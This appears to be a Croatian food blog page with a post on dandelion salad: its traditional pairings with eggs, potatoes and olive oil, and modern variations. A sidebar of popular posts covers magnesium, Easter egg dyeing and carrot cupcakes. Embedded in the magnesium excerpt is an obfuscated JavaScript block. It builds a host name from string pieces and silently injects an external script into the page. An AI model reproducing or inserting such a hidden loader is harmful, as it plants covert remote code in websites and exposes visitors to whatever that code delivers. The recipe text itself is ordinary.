ZAŠTO BI SE SALATA S MASLAČCIMA TREBALA NAĆI NA VAŠEM PROLJETNOM MENIJU? 🥗





Zašto bi se salata s maslačcima trebala naći na vašem proljetnom meniju?




Postoje jela koja gotovo instinktivno povezujemo s proljećem, a salata od maslačka definitivno je jedno od njih. Generacije su odrasle uz zdjele svježe ubranih maslačaka začinjenih maslinovim uljem, octom i kuhanim jajima, no posljednjih godina ova pomalo zaboravljena namirnica ponovno se vraća na stolove, i to ne samo zbog tradicije nego i zbog brojnih benefita koje donosi organizmu.





Gorkasti okus koji se savršeno slaže s proljetnim namirnicama

Iako neki zaziru od njegova specifičnog gorkastog okusa, upravo je to razlog zbog kojeg se maslačak tako dobro slaže s bogatijim sastojcima poput kuhanih jaja, mladog krumpira, pancete, slanine ili mekanih sireva. Klasična salata s maslačcima najčešće uključuje jednostavan dressing od maslinovog ulja i vinskog octa, ali posljednjih godina sve češće viđamo modernije verzije s burratom, orasima, citrusima ili toplim krumpirom.

Maslačak je posebno popularan u kontinentalnim dijelovima Hrvatske i Slovenije gdje je godinama dio tradicionalne proljetne kuhinje, no danas ga sve češće viđamo i na jelovnicima restorana koji se okreću sezonskim i lokalnim namirnicama. Taj spoj rustikalnog, zdravog i pomalo nostalgičnog razloga je zašto se ova salata ponovno vraća među omiljena proljetna jela.

Ako želite jednostavnu verziju, dovoljno je svježe listove maslačka pomiješati s kuhanim jajima, mladim lukom i toplim krumpirom te sve začiniti dobrim maslinovim uljem, octom, soli i paprom. Za nešto moderniji twist možete dodati feta sir, tostirane sjemenke ili citrusni dressing koji će ublažiti gorčinu i dati salati svježiji okus. A danas, kada se sve više okrećemo sezonskim namirnicama i jednostavnijim jelima, salata s maslačcima djeluje kao savršen podsjetnik da neke od najboljih proljetnih namirnica zapravo već desetljećima postoje vrlo blizu nas.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više